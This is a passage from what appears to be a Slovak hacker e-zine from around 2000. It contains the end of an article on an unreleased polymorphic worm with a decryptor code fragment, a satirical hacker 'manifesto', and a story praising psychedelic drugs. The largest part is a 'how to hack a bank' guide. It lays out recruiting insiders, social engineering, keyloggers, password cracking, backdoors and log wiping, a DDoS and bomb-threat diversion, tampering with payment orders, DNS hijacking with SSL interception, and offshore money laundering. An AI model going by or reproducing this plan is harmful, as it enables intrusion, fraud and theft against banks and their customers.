    polymorfny mechanizmus je v podstate jednoduchy - navrhnuty na to, aby sme si
    mohli byt isti, ze nas dekryptor bude vzdy iny. kedze je napisany ako shellovy
    skript, je velmi lahke pridat par matucich prikazov, vlozit prazdne premenne,
    vlozit alebo nahradit niektore casti uz deklarovanymi $PREMENNYMI_SHELLU.
    ziskat spat povodny obsah nie je jednoduche ale vsetko co potrebujeme je
    imitovat parsovanie dekryptoru - a mame povodny kod.


    pridavanie do dekryptoru moze vyzerat takto:


    while (decryptor[x]) {
    switch (decryptor[x]) {
    case ' ':
    if (!rnd(2)) buf[y++]=' '; else goto difolt;
    break;
    case 'n':
    if (!you_can) you_can=1;
    default:
    difolt:
    if ((you_can && you_can++>1) && !rnd(10) && decryptor[x]>5 &&
    decryptor[x]!='>' && decryptor[x]!='2) {
    buf[y++]='\';buf[y++]=10;norm=0;
    } else {buf[y++]=decryptor[x++];norm++;}
    }
    }


    7: pouzitelnost


    je nahluple vypustit cerva navrhnuteho napriklad na kradnutie tajnych informacii
    zo specifickeho hostitela, pretoze nemame ziadnu istotu, ze bude fungovat naozaj
    spravne a nebude polapeny. ak ano, moze byt debugovany (ne spraveny tak, aby sa
    dallen velmi tazko, ale ako kazdy program, nie je nemozne to urobit, specialne
    ak sa vam podari ziskat separovany kod cerva). namiesto toho mozeme vypustit
    neskodneho cerva, potom, ked sa uistime, ze dosiahol zaujimavych hostitelov a
    doteraz nebol chyteny, mozeme rozoslat upraveneho noveho cerva, ktory bude
    obsahovat nas zaskodnicky kod. ten sa bude snazit dosiahnut vsetky cervy vo
    wormnete a upravi ich podla seba.


    mozno to nie je najlepsie riesenie ale je to urcite ovela viac bezpecnejsie ako
    standardne vkladat zadne vratka.


    8: a co sa stalo potom?


    tak to je on, projekt samhain, ktory sa zmestil do priblizne 40 kb kodu. co sa
    s nim stalo? nic. nikdy nebol vypusteny a nikdy neboli odstranene obmedzenia
    z rutin lookup_victim() a infect_host(). stale lezi na mojom disku, usadza sa
    na nom prach a OBLIVION a to je presne to, co sme chceli.


    prestal som vyvijat a testovat novy kod v januari 1999, vo verzii 2.2 a pri
    priblizne 10 000 riadkoch kodu. wojtek bojdol vyvijal jeho ovela lepsie
    premysleny wormnet a system infekcie/monitorovania do februara alebo marca, ale
    nikdy som nenasiel dostatok casu spojit jeho zdrojove kody s povodnymi. potom
    sme odstranili nas archiv zo serveru s pristupom zo siete, ktory sme pouzivali
    na vymenu napadov. neskor som publikoval par chyb pouzivanych v databazi
    exploitov v bugtraqu, niektore (hlavne tie, ktore som neobjavil ja) sme si
    nechali pre seba.


    pribeh sa skoncil. az do dalsieho dazdiveho dna, dalsich troch znudenych
    hackerov. mozete si byt isti, ze sa to stane. jedina vec, ktorou si byt isti
    nemozete je koniec dalsieho pribehu.






    nechcem sa hrat na proroka alebo jasnovidca, ale dovolim si tvrdit, ze
    takyto scenar sa mozno uz coskoro stane realitou. ludia nechcu byt v bezpeci,
    nikdy nebudu dostatocne prihliadat na skutocne fakty. hackli nas? ale, ved sa
    tolko nestalo, ututlat.. distribuovane utoky? kazdy sa citi bezpecne ale je to
    klamliva bezpecnost. citia sa spokojni ale veci sa deju, to ze si to niekto
    nevsimne neznamena, ze je vsetko v poriadku..


    ved si len skuste na svojich "bezpecnych" serveroch spravit: find /dev -type f
    a kludne sa stavim, ze kvantum z vas bude velmi nemilo prekvapenych. ale to je
    len vrchol ladovca. to, co najdete, su len nevinne hracky pre deti..


    este bude veselo.



    autor: michal zalewski, lcamtuf(at)tpi.pl

    preklad, uprava: salo


    navrat na obsah




    bratislavsky heker a jeho manifesto


    povedaly mi, abi som napysal clanok o sebe do tohto casopysu "zlom". tak tu vam
    teda o sebe pysem. aha ale este nieco: ak chcete bit taky dobri ako ja, musyte
    vela hekovat a musite byt strasne inteligentny.


    viete, no, hekovat som zacal, ked som mal 14. teras mam 15 a som uz velmi dobri
    heker. pracujem na pocitaci s windows 98, ktore som sy aj sam nainstaloval. moj
    pocitac je pentium 5 1200mhz, mam 512 mb ram a velki disk. mam cd-romku,
    napalovacku a vsetko co existuje. rat sa hram hri a mynule som na internete
    nasiel cheaet na quake a hekol som tu hru. viem si teraz sam pridat zivoti aj
    zbrane a vsecko co chcem.


    mam sa rad. ale este radsej mam kevina mytnicka. ten bol vazne dobry. viete, raz
    chcem byt ako kevin. aj preto uz mam precytane vsetky navody co som nasiel na
    internete (v altaviste). cital som how to hack unix od c00lhacka, tiez som cital
    hacking linux - 10 dobrych rad, od fuckin' radical byte rippera a tiez som cital
    how to hack government computers od frozen hack kinga. ako vydite, som dobri.


    moje oblubene hekerske nastroje pod windows su winnuke (ten je vazne dobri),
    potom black orifice (hahaha, mynule som ho poslal mame do roboti a vymazal som
    jej cely disk!) a potom este aj unabomber (to je taki program, co s nim niekomu
    mozte poslat aj tisyc mailov a mozte si vybrat z akej adresy mu to pride a on
    vas potom nema ako zystit!!!).


    strasne by som chcel heknut stranku nasej skoly. skola sucks, sucks, sucks,
    sucks!!! dobre ma nasrala dneska triedna, lebo ma vyvolala zo slovenciny. tak
    heknem skolsku stranku a napysem tam, ze je krava!!! uz viem ako sa vola ten
    hlavni subor co treba heknut - "index.html". neviete niekto ako zistim nejaku
    "ip adress"? zevraj ked to zystite, tak potom uz je to lachke heknut. (to pysali
    v hacking manual-e od knight-a deadly-ho). inac, zakladam hekersku skupynu,
    budeme sa volat killing bastarts, takze ak niekto chcete sa prydat a ste naozaj
    dobri heker, tak mi napyste na tento e-mail: peter_ondruscak@kancelaria.potraviny-u-kamila.sk


    to je email mojho oca, takze tam ako mate ze: "subject:" napiste "pre jozefa"
    a on mi to vytlaci a donesie. ja nemam internet doma a chodim k nemu do prace.
    inac, ked niekdo viete ako si hacknut emailovu adresu na hotmeily, tak mi
    povecte, lebo zevraj to je lachke.


    no, tak este vam poviem nieco o sebe. pocuvam hlavne tvrdu muziku - rammstein
    a metallicu, ale dobra je aj elektronycka hudba ako aqua a eiffel 65. mam jednu
    sestru, ale ona je krava - ma 20 rokov a furt sa zatvara do izbi so svojym
    frajerom. a ten je ties blbec, lebo vobec nevie robyt s windows a stale nieco
    trepe o aix a neviem co este. z jedla mam rad pizzu a na pytie cocacolu. (to aj
    kevin mytnick mal rad!!!!) z hier mam rad quake a formule. a este mam rad
    heking, ckraking a freking.


    tak a to je vsetko. aha, vlastne hack da planeeeeeeeeeeeeeeeeet!!!!!!!


    fez0j da hacka
    (to fez0j je akoze moje meno odzadu, to som sam vimislel)



    p.s. - podobnost s realnymi osobami, miestami, potravinami a operacnymi
    systemami je cisto nahodna. ak si myslite, ze takito hackeri su napriklad
    ten, tamten, alebo ini, tak to nie, to vobec neni pravda. ne, vazne. vazne!
    heh.



    cut&paste z realneho zivota vykonal niko, niko(at)hysteria.sk



    navrat na obsah




    kybersaman [dokoncenie]


    bonnard bol celozivotnym studentom. ucil sa od svojho okolia, z knih, od ludi,
    ktorych stretaval len tak na ulici, od svojich mileniek a na svojich chybach.
    zaujimal sa o biologiu, chemiu, fyziku, etnobotaniku, matematiku a samozrejme
    - o kybernetiku. cital diela davnych i nedavnych filozofov. ako povedal lama
    govinda: "veda a filozofia su len dve odvetvia tej istej posvatnej discipliny.
    v staroveku sa povazovalo za uplne samozrejme, ze velky ucenec bol aj svatym
    muzom s hlbokou znalostou sameho seba". bonnard prisiel na to, ze svet je
    postaveny z bitov. bity sa skladaju z nul a jednotiek - casti, ktore si
    odporuju, no v tomto rozpolteni ho vlastne vytvaraju. a preto vedel, ze veda bez
    vnutornej filozofie a vnutorna filozofia bez vedy moze stvorit len katastrofu.
    ale ked ma niekto vedomosti aj mudrost, moze ho to zachranit pred takymi vecami
    ako vyrobenie atomovej bomby. (keby tak jej vynalezcovia poznali samych seba!).


    vnutorna filozofia sa da najlahsie dosiahnut kombinaciou psychedelickych drog
    a starych uceni - to vedel. amazonska ayahuasca, indicky bhang, himalajsky caras,
    norske muchotravky, mexicke lysohlavky. europsky alkohol sem akosi nezapada, ved
    ako jediny vedomie nerozsiruje, naopak, obedzuje ho. bonnard vsak nevedel, ci
    psychedelicke drogy su ten spravny sposob, ved existuje joga a meditacia. bral
    to ako fakt, pretoze s nimi uz zacal. ostatne sposoby vsak vobec nepodcenoval.


    vedomosti mohol ziskat v skole. tieto vedomosti mu vsak boli uplne nanic. uz len
    z toho dovodu, ze o ne nemal zaujem. skola bola prenho len dalsia primitivna
    push-technology. ako rozhlas a televizia. existovalo vsak moderne medium -
    kyberpriestor... internet... miesto, kde sa obrovska neuronova siet ludi
    rozhodovala, ku ktoremu nazoru (vyplodu neuronu) sa pripojit. internet uplne
    popieral psychologiu. psychologia davu hovori, ze akykolvek dav je hlupejsi ako
    priemerny jednotlivec. statisice open-sourcovych kyberpunkerov to popieralo.
    vytvarali dielo, ktore nedokaze vytvorit ziadny jednotlivec osamote. internet
    bol zdrojom informacii, navodom na riesenie problemu a samozrejme - neuronovou
    sietou. mozno ludia na internete su spojeni priamo - neuronova siet s neuronovou
    sietou. mozno ti kyberpunkeri uz vobec nepotrebuju klavesnicu, mys a monitor.
    mozno vidia len to, co je za tymito "kraksnami" - neurony a data.


    toto vsetko vedelo pred nim mnozstvo ludi. existovalo mnozstvo filozofov, ktori
    poznali svoje vnutro viac ako cokolvek ine. existovalo mnozstvo vedcov, ktori
    mali uzasne znalosti z roznych vednych disciplin. ale jedno este neskusal nikto.
    nikto v tejto dobe. spojit vedca s myslitelom. a to bolo presne to, co spravil
    bonnard na zaciatku nasho pribehu. chcel byt vedcom a myslitelom zaroven, aby
    tak mohol poznat seba. cez seba mohol spoznat svet. a ked poznal svet a seba,
    mohol pomahat inym. stal sa z neho levitujuci tibetsky mnich sediaci na zemi.
    stal sa obrodou svatca v civilizovanom svete. bonnard slovo civilizovany bral
    ako zivy priklad duality. civilizovany je priam nadavka. ked sa cez mreze, do
    ktorych nas uvrhol svet za kurenie travy, pozerame na to, ako notoricki
    alkoholici obcuravaju podchod. za prirodu a rozsirenie vedomia dostanete mreze!
    za chemiu a obmedzenie vedomia dostanete tak maximalne tvrdu pecen. na druhej
    strane slovo civilizovany znamena, ze uz nemusite stravit niekolko rokov na
    lodi, aby ste sa dostali tam, kam sa dostat chcete. civilizacia znamena vedu
    (cize vnutorne naplnenie), pricom absolutne odrieka duchovnu filozofiu, cize
    sposobuje vnutorne prazdno.


    nejakym zahadnym sposobom - pod vplyvom psychedelik - prisiel v kyberii na to,
    ze svet duchovna a realisticky svet vytvaraju realitu. ved co ine bol pre neho
    svet ako to, co vnimal vlastnym vedomim ? zmenou vedomia ziskal odlisny -
    rozsireny a dualitny - pohlad na svet okolo neho. a prisun sveta, prisun dat,
    informacii na spracovavanie, jedlo pre jeho neuronovu siet, to vsetko
    zabezpecoval internet. maly opticky kabel.


    "drogy su svinstvo!" - tvrdili mu intelektuali.

    "kup si mobil a si s nimi!" - hovorili fetaci.


    bonnard bol vsak iny ako ostatni. vedel, ze ked oboje vyuzije vo svoj prospech,
    moze len ziskat. jeho vnutro sa naplni a navonok z neho bude vyzarovat klud.
    bude sam. uplne sam. bude mat rad, ale nebude milovany. bude pomahat, no nikto
    mu uz nepomoze.


    stal sa z neho svatec, ktory prepadol diablovi. stal sa z neho fetak-vedec,
    narkoman-intelektual. stal sa z neho... kybersaman.




    nicotine, nicotine(at)hysteria.sk


    navrat na obsah




    ako hacknut banku


    elektronicky vykradnut banku nie je zrovna lahke, ale nie je to ani take
    tazke, ako by si ludia (rozumej poulicna zmes) mysleli. takze podme na to.


    prvy krok: priprava


    najprv si dame dokopy team ludi. budeme potrebovat tak aspon sest
    softverovych vyvojarov na hackovanie, idealne, aby medzi nimi bol
    specialista na as/400, sun solaris, unix vseobecne, digital vms, ibm vms,
    windoze 95/98/nt no a na bankovy aplikacny software a komunikacne
    protokoly. budeme tiez potrebovat jedneho cloveka v banke. staci ak to
    bude clovek na strednej urovni, asistent manazera, cloviecik pri
    prepazke, klepica co nahadzuje udaje do pocitaca, take nieco. kedze
    slovenske banky teraz prijimaju relativne dost ludi a otvaraju nove pobocky
    kade-tade, pre schopneho cloveka nie je problem najst si v banke robotu
    niekde na strednej priecke rebrika hierarchie. jo a skoro by som zabudol
    - potrebujeme niekoho sikovneho do fyzickej bezpecnosti a tiez nejakeho
    vhodneho "socialneho inziniera", proste niekoho s vrtkym jazykom a silnym
    sarmom :)


    ok, teraz si vyberieme ciel nasho utoku. nebolo by dobre vybrat si
    slovensku pobocku velkej zahranicnej banky - lebo ta bude dobre
    zabezpecena. vo vseobecnosti nie je vhodna ziadna velka banka. mala
    lokalna banka tiez nie je dobra, lebo by si velmi rychlo vsimli
    poletovanie milionov korun von ich elektronickymi dvermi. idealna je teda
    banka strednej velkosti so slovenskym IT manazmentom.


    ako pri kazdom dobrom podnikatelskom plane, budeme potrebovat nejake
    pociatocne investicie na masiny, pocitace, nastroje, zivobytie, uplatky,
    atd. pre zaciatok by sme mohli vystacit s 2-3 milionmi korun. nasim cielom
    je ukradnut z banky 100-200 milionov.


    druhy krok: nabeh


    nas clovek na fyzicku bezpecnost sa zamestna vo vybranej banke ako
    elektrikar, udrzbar, alebo podobne. nasi hackeri dostanu za ulohu
    skonstruovat jednoduche plostice (napr. podla navodu z phracku), tieto
    nas clovek na fyzicku bezpecnost rozmiestni po banke na vhodnych
    miestach. banky na slovensku nemonitoruju elektromagneticke spektrum a
    nie su schopne najst plostice. vo vecernych hodinach pod zamienkou udrzby
    sa nas "udrzbar" trosku pohrabe v kancelariach, pisacich stoloch a
    skriniach. ziska prevadzkove predpisy, popis pocitacovej siete, fyzicky
    si omrkne zapojenia v serverovni, atd. v tom istom case sa nas socialny
    inzinier pokusi zistit maximalne mnozstvo informacii o tom ako banka
    otvara, modifikuje a vyplaca svoje ucty. moze sa tvarit ako seriozny
    business zakaznik, alebo napriklad ako obchodnik - dodavatel vypoctovej
    techniky. moze sa skamaratit so zamestnancom banky, alebo nabalit
    riaditelovu sekretarku. ked vie, ze v banke maju napriklad server as/400,
    nas hacker moze zavolat do banky, tvarit ako novy servisny technik IBM a
    pozistovat si informacie o hardverovej a sofverovej konfiguracii ich
    servera. pokial clovek ovlada ten spravny dialekt a ma potrebne know-how,
    nie je problem pozovat ako technik zahranicnej dodavatelskej firmy. no a
    samozrejme nas hlavny insider zamestnany na strednej urovni bude ziskavat
    maximum informacii o bankovej sieti, softveri, pracovnych postupoch a
    zamestnancoch.


    po par tyzdnoch by sme mali byt totalne v obraze. mame spisany vsetok
    inventar suvisiaci s vypoctovou technikou a pozname postupy pri
    platobnych prikazoch. je cas zacat trosku hackovat. s hackovanim zacneme
    spociatku velmi opatrne. zatial sa budeme drzat prec od systemov, ktore sa
    staraju o medzi-uctove a medzi-bankove operacie. skusime stary dobry
    war-dialing a skusime napriklad najst nejaky modem, ktory je zaveseny na
    telefonnej linke a odpoveda na zavolanie. v tomto stadiu je dobre zalozit
    si ucet a spravit si na nom internet banking. skusime zistit, ci manazeri
    ktori cestuju s notebookmi, nemaju spraveny dial-up do banky, alebo ci
    niektory z dodavatelov hardveru banke nema spraveny remote monitoring cez
    modem.


    akokolvek sa dostaneme dnu, v kazdom pripade budeme k tomu potrebovat
    zopar hesiel zamestnancov. tie ziskame lahko. nasi hackeri maju totiz v
    tejto oblasti bohate skusenosti z napadania internetovskych serverov (viz
    http://hysteria.sk/hacked/). nas insider z diskety nabehne na pc-kach
    programy, ktore budu zachytavat stlacene klavesy. nabehneme back oriffice,
    sniffery, budeme crackovat passwd fajly rozsiahlymi wordlistmi. ked prednedavnom
    skupina binary division crackla nejakych 15 tisic hesiel z home.sk, pre nas predsa
    nebude problem obdobne si zaobstarat aspon za tucet hesiel.. niektore
    hesla uhadnu nasi socialni inzinieri, niektore mozno najdeme napisane v
    poznamkovych blokoch, osobne som videl rootovske heslo napisane na
    post-it papieriku a nalepene priamo na serveri v serverovej miestnosti
    istej nemenovanej institucie, aby si ho administrator nemusel pamatat.
    budeme sledovat zamestnancov a zistime ci maju konta na serveroch mimo
    banky. ak maju konta na freemailoch (hotmail.com, post.sk, pobox.sk,
    atd.) alebo hocikde na internete, crackneme alebo sniffneme ich heslo a
    mame sancu, ze heslo vo vnutri v banke je take iste.


    treti krok: programovanie


    ked uz sme sa dostali do par masin na vnutornej bankovej sieti, snazime
    sa sniffovanim a crackovanim hesiel dostat na co najviac systemov. aj ked
    vonku v internete je bezne pouzivat sifrovane komunikacne protokoly ako
    ssh, vo vnutropodnikovych sietiach je bezny telnet alebo rlogin a tie
    mozeme v pohode sniffovat. vo vseobecnosti plati, ze servery vystavene na
    internet su neustale vystavene scanovaniu hackermi, preto ich organizacie
    pravidelne patchuju a kontroluju. na vnutropodnikove masiny za firewallmi
    sa vsak vacsinou z pohladu security serie. ked ziskame uzivatelsky
    pristup na unixovych serveroch, je lahke ziskat roota - lebo
    vnutropodnikovy server malokto patchuje koli bezpecnosti. na komercne
    unixy existuje take mnozstvo exploitov, ze ak napriklad natrafime na rok
    staru instalaciu solarisu 7 bez security patchov, mozeme si vybrat
    minimalne z poltucta exploitov...


    ked uz mame zopar root kont, vytiahneme zbrane vacsieho kalibru.
    nainstalujeme backdoory, trojske kone, vytvorime si vlastne konta.
    nabehneme sniffre a monitorujeme vsetok traffic na sieti. naburame sa do
    archivu e-mailov a pocitame si postu vyznamnych ludi. takto sa naucime
    mechanizmus, akym sa v banke pohybuju peniaze, naucime sa nazvoslovie,
    slangove vyrazy, skratky a terminologiu.. stiahneme si passwd fajly a
    nabehneme crackery hesiel. kedze uz mame na masinach rootov a vieme mazat
    logy, nabehneme network analyzery ako su nmap, satan, iss a podobne a
    skanujeme siet na otvorene porty, sluzby a masiny. vzniknute logy mazeme
    "cisticmi".


    sucasne zacne boj na aplikacnom fronte. ziskame kopie softverovych
    aplikacii, ktore banka pouziva na manazment penazi a uctov, pretoze chceme
    tento softver potajme modifikovat a nasadit. pokusime sa ziskat zdrojaky
    tychto programov. idealne by bolo dostat sa k zdrojakom cgi scriptov,
    ktore obsluhuju internet banking a spravit si v nich backdoor. pokial sa
    k zdrojakom nedostaneme, skusime dissasemblovat aplikaciu crackermi a
    upravit si ju po svojom. neskor sa pokusime nahradit aplikacie nasimi
    prerobenymi verziami.


    skor ci neskor budeme presne vediet ako sa interne presuvaju peniaze
    medzi uctami na urovni bezneho pracovnika a ako tieto presuny
    kontrolovat. budeme vediet ake druhy bezpecnostnych kontrol a verifikacii
    sa robia pre dany typ a velkost transakcie, kedy sa vykonavaju audity,
    ako je nastavena ochrana pocitacovych systemov a ako ich monitoruju
    spravci systemov. ale stale si nezoberieme ziadne peniaze.


    kym ziskavame informacie o vnutornom fungovani banky, budeme tiez
    ziskavat informacie o najnovsich hackerware-virusoch, autospameroch,
    distribuovanych denial-of-service utokoch a podobnych lahodkach. hackneme
    si servre po svete ako vhodne gateway masiny na spustenie takychto
    utokov, ale zatial nic neaktivujeme.


    nakoniec si cez web a pomocou anonymizerov a redirektorov zalozime ucty v
    bankach na jamaike, cypre, bahamskych ostrovoch a v dalsich krajinach,
    ktore poskytuju maximalne mnozstvo sukromia a minimalne kooperuju s
    medzinarodnymi policajnymi a vysetrovatelskymi organmi. zalozime si tiez
    konta v slovenskych bankach pomocou "bielych konov" a nastavime si v nich
    internet banking tak, aby sme okamzite mohli cez internet posuvat velke
    financne ciastky.


    stvrty krok: kradez


    nas uder si naplanujeme na jeden zo zhruba osmich rocnych obdobi so
    zvysenou bankovou aktivitou, napriklad pred vianocami. najprv aktivujeme
    denial of service utoky a pocitacove virusy. toto je ekvivalent dymovnice
    a granatov so slznym plynom v civilnom svete - proste spravime trosku
    chaos/bordel/paniku. pripadne pridame aj nejaky vyhrazny telefonat o tom,
    ze na pobocke je umiestnena bomba, zapchame odtokove potrubia
    kanalizacie, sposobime nejaky ten elektricky skrat, postriekame stenu
    peknym grafiti napisom a tak. nasledne budu vsetci zamestnanci
    vypoctoveho strediska banky skakat tri metre bez odrazu a sialene
    monitorovat vsetky systemy, sledovat logy a tak.. samozrejme ze banka by
    mohla predist serioznym skodam tak, ze zavrie vsetky pobocky dokial
    vsetko nebude pod kontrolou. ale nespravi to, pretoze banka musi mat vzdy
    imidz dokonalej spolahlivosti a fungovat 24 hodin denne.


    .. ale toto vsetko je samozrejme iba na odvratenie pozornosti nepriatela..


    hlavny utok pride na troch frontoch. najprv pretransferujeme peniaze zo
    stoviek uctov na tie. ktore sme si otvorili. spravime to bud cez hacknute
    konta operatorov, alebo pomocou hacknutej verzie softveru na manazment
    uctov, alebo aj aj. z kazdeho uctu zoberieme len skromny obnos, taky aby
    bol menej ako hodnota, ktora je nastavena na spustenie vyssieho stupna
    bezpecnosti - moze to byt trebars prevod nad 50 000,- Sk, alebo 10% celej
    hodnoty uctu, alebo oboje. v tomto obdobi roka sa to bude javit ako bezny
    pohyb medzi uctami, nikto si to nevsimne ako zvysenu aktivitu pohybov
    medzi uctami. teda mozno za normalnych okolnosti by si to vsimli technici
    vypoctoveho strediska, ale teraz vsetci manazeri a technici banky sialene
    pobehuju a maju co robit vysporiadat sa s panikou ktoru sme sposobili.
    ked sa zacnu peniaze kumulovat na nasich uctoch, postupne ich
    transferujeme von do nasich vonkajsich uctov, zase len v malych
    ciastkach.


    druhy frontalny utok bude zachytavanie skutocnych platobnych prikazov
    medzi bankami. inak povedane - budeme zachytavat prevodne prikazy
    legitimnych klientov nasej banky na ucty na cudzie banky. je extremne
    tazke vytvorit falosny prevodny prikaz, pretoze vsetky platobne prikazy s
    vyssou sumou (dajme tomu nad 100 000,- Sk) musia mat fyzicke povolenie od
    najmenej dvoch manazerov banky. nedokazeme zachytit transfery medzi
    bankami, pretoze cestuju zakryptovane. takze musime prevodny prikaz
    zachytit po tom ako ho potvrdia podpisom manazeri v banke, ale pred tym
    ako sa zasifruje. tento typ utoku sa vola man-in-the-middle utok a v
    dnesnej dobe nie je na internete vobec neobvyklym javom. jednoduchym
    prikladom z internetovskeho sveta je hacknuta binarka ssh klienta, ktora
    zachyti a zapise heslo po tom ako ho uzivatel naklepe z klavesnice, ale
    pred tym ako sa zasifruje a posle po sieti. ked sa elektronicke
    potvrdenie platobneho prikazu presunie po lokalnej sieti banky - dostane
    sa na server ktory de facto kontrolujeme, aby sa tam zasifroval. podobne
    ako na uvedenom priklade s ssh staci modifikovat program ktory prijme na
    serveri informaciu a zasifruje ju tak, aby ju este pred tym modifikoval a
    zmenil prijemcu platobneho prikazu na niektory z nasich uctov. pokial v
    istej faze prenosu ide po lokalnej pocitacovej sieti informacia o
    potvrdeni platobneho prikazu, existuju aj utilitky ktore ho dokazu
    "zabehu" modifikovat z masiny na tom istom segmente a netreba mat k tomu
    kontrolu nad cielovou masinou.


    treti frontalny utok pojde na server internet bankingu. ak na nom mame
    roota, tak voila, pouzijeme podobny postup ako pri modifikacii platobnych
    prikazov cestujucich po lokalnej sieti. ak nemame roota, mozeme pouzit
    menej elegantny, ale predsa ucinny sposob. staci ak zmenime IP adresu v
    internetovskom DNS zazname na dany server a presmerujeme WWW traffic na
    nejaky nas hacknuty server. tuto metodu nedavno preslavil hack
    www.hzds.sk, vsakze. vacsina slovenskych bank ma primarny DNS server u
    svojho internet providera, a ti maju svoje masiny povacsine derave ako
    emental - takze by to mala byt prudka pohoda. na novej IP adrese
    nabehneme program, ktory si pokeca SSL s klientom, zapise si alebo
    zmodifikuje prijate data o prevode, a vysledok posle skutocnemu
    internet-banking serveru. jasne ze webovsky browser si popinda na to, ze
    sa zmenil SSL verifikacny kluc. ale drviva vacsina uzivatelov klikne "OK,
    accept" na nas novy kluc. ved poznate poulicnu zmes :)


    peniaze, ktore miznu z napadnutej banky sa zbiehaju na niekolkych uctoch
    inych slovenskych bank. okamzite posleme predpriravene prevodne prikazy
    na banky do zahranicia. postupne skonsolidujeme vsetky peniaze na
    niekolkych off-shore uctoch. mnohe off-shore banky poskytuju internet
    banking, alebo aspon ovladanie cez modem. preto okamzite presuvame
    peniaze z jedneho off-shore uctu na druhy a nakoniec v poslednej banke
    nam ich biely kon vyzdvihne v hotovosti.


    potom sa vyparime zo sceny na novom sportaku s V8 motorom. kupime si vilu
    na grenade a pozveme iva lexu na afterparty.


    utopia ?


    myslite si, ze je to len utopia? vacsina computer-security expertov vam
    potvrdi, ze hore popisany scenar je realizovatelny. na slovensku urcite.
    ale kludne aj inde. v roku 1994 stiahol z citibanky 24-rocny hacker
    vladimir levin z petrohradu 10 milionov dolarov. neskor ho chytili,
    odovzdali do spojenych statov a bol odsudeny na tri roky nepodmienecne.
    (az na 400 000 dolarov sa vsetky peniaze nasli.) taketo nieco sa deje
    dost casto, ale zvycajne to neprenikne na verejnost - tvrdi michael
    higgins - byvaly analytik informacnej agentury ministerstva obrany
    spojenych statov. v usa pozaduje federalna vlada od bank aby reportovali
    vsetky straty. higgins ale tvrdi, ze koli zlej publicite reportuju banky
    skody vzniknute hackermi ako inak vzniknute skody. castokrat banka vobec
    nekontaktuje policiu, lebo sa boji ze keby prenikli na verejnost spravy o
    tom ze banka je hacknutelna, ludia by si z nej hystericky zacali vyberat
    peniaze a sli by ku konkurencii. niektore zdroje z prostredia
    financnictva v USA reportuju jednotlive pripady kde skoda presiahla sumu
    100 milionov americkych dolarov.


    pokial sa vyssie popisane scenerio hacknutia banky uz neodohralo aj v
    nasich zemepisnych sirkach, coskoro sa odohra. taketo nieco zvladne totiz
    len naozaj dobry programator, znalec pocitacov a hacker. taky, ktory by
    na zapade vobec nemusel hackovat, lebo by mal dobre plateny job v
    prekvitajucom IT priemysle. to vsak u nas neplati - dobre platenych jobov
    v IT brandzi je malo, vlastne su len v slovenskych pobockach zahranicnych
    IT firiem. ale aj v tych su prijmy vo vyske zlomkov zahranicnych prijmov.
    navyse sa jedna povacsine len o povysunute marketingove kancelarie v
    ktorych absentuju zaujimave a kreativne IT joby - tie sa koncentruju v
    materskej krajine danej IT firmy.


    aj ked nasa kradez by bolo elektronicka, pravdepodobne by bola nemozna
    bez informacii zvnutra banky. Levin mal pri jeho kradezi partnera vo
    vnutri banky. human resources manageri v slovenskych bankach nerobia
    ziadne lustracie kandidatov o joby vo vnutri banky.. az na obligatny
    vypis z registra trestov. hihi, neda mi v tejto chvili nepovedat, ze na
    slovensku ich maju zatial vsetci hackeri cisty.


    najlepsim tercom su banky strednej velkosti ktore sa agresivne vrhli na
    informacne technologie a internetovy/gsm/tele banking, pretoze citia tlak
    od technologicky-zalozenych velkych bank. toto ich prinutilo vletiet
    strmhlav do sveta informacnych technologii bez toho, aby na to mali naozaj
    potrebnu expertizu a znalosti, cim sami vytvaraju diery v bezpecnosti.
    ktora zo slovenskych bank, ktore nedavno vypustili internetovy banking
    naozaj do hlbky rozumie vsetkym technologiam suvisiacim s manazmentom
    citlivych informacii v prostredi internetu ?


    vsetky slovenske banky si nainstalovali nejaky ten mix hardverovych a
    softverovych firewallov, ktore sedia medzi divokym slovenskym internetom a
    ich hlavnym vstupom do internej siete. kto im ich vsak dodal? na
    slovensku neexistuje poriadna firma so zameranim na computer security.
    ano, je tu niekolko dilerov firewallov, ale to su suchi obchodnici. no a
    samozrejme kazdy zo systemovych integratorov posobiacich na nasom trhu
    tvrdi ze robi "aj" security, nemaju vsak na to dedikovany seriozny team
    odbornikov. prave tieto velke IT firmy, ktore maju v lukrativnom bankovom
    businesse najvacsi podiel na dodavkach, realizovali vacsinu security
    rieseni v slovenskych firmach. ten kto cosi vie o tom ako u nas
    prebiehaju vyberove konania na dodavky v oblasti IT, vie, ze technicka
    uroven ponukanych rieseni je v podstate irelevantna. vyhravaju kontakty a
    bocne prachy, vsakze.


    a co nase skolstvo? pripravuju nase univerzity mladych profesionalov na
    moderne bezpecnostne riesenia? hihi, no podme radsej dalej.


    v podstate aj tak mozeme zabudnut na kvalitu firewallov. niektore su
    dobre, ine su slabe. ale hackeri vzdy hladaju male dierky v systeme,
    zadne vratka. netreba buchat baranidlom do hlavnej brany, ked staci rozbit
    okienko na kupelni a vliezt dnu. plati zname klise, ze retaz je len tak
    silna, ako je silny jej najslabsi clanok. a mimochodom, slovenski dileri
    krabic so security softwarom zacali ponukat aj sofistikovany (rozumej
    drahy) intrusion detection softver. tento komplexny softik sa snazi
    rozpoznat hackersky traffic od bezneho trafficu. velmi narocna uloha,
    ktoru ale sikovny hacker zvladne obist. ista security firma zo seattlu
    ktora robi penetracne testy bankam napisala ze zo styridsiatich pokusnych
    testov zareagovali intrusion detection systemy len raz.


    servery, ktore obsluhuju internet banking, by mali by fyzicky oddelene od
    internej siete banky. kaslime na programatorov, nic nie je bezpecnejsie
    ako ked je internetovy server banky totalne fyzicky mimo a nevedie z neho
    ani jeden kabel do internej siete. dnes vsak tuto logicku strategiu
    narusuje moderny marketingovy trend. centralizacia! klienty sa stensuju
    a servre sa konsoliduju do mamutich multi-domenovych strojov. ak je
    internet banking na jednej domene multi-domenoveho servera a na dalsich
    domenach su senzitivne data, bezpecnost visi na sikovnosti programatorov
    operacneho systemu (zatial to vo svete unixu robi len sun a compaq). a na
    milosti Vsemohuceho, lebo ak chcete volaco vediet o bezpecnosti
    operacnych systemov spominanych vyrobcov, natukajte si vhodne slovicka do
    searchenginu na packet-storm security sajte. uvidite desiatky
    reportovanych bezpecnostnych bugov a exploitov na ne len za posledny
    rok-dva.


    jeden zakladny problem na slovensku v oblasti compsecurity suvisi s faktom,
    ze bezpecnost pocitacovych systemov su preteky s casom. aj ten
    najbozskejsi bezpecnostny system sa moze ukazat zranitelny vdaka
    novoobjavenej security vulnerabilite. nedavna hysteria session 2000 v
    piestanoch ma presvedcila o jednej veci - na slovensku je zdrava komunita
    hackerov, ktori spolu velmi efektivne komunikuju a technicke novinky sa
    medzi nimi siria rychlostou motoroveho prasata. a sprav je dnes veru
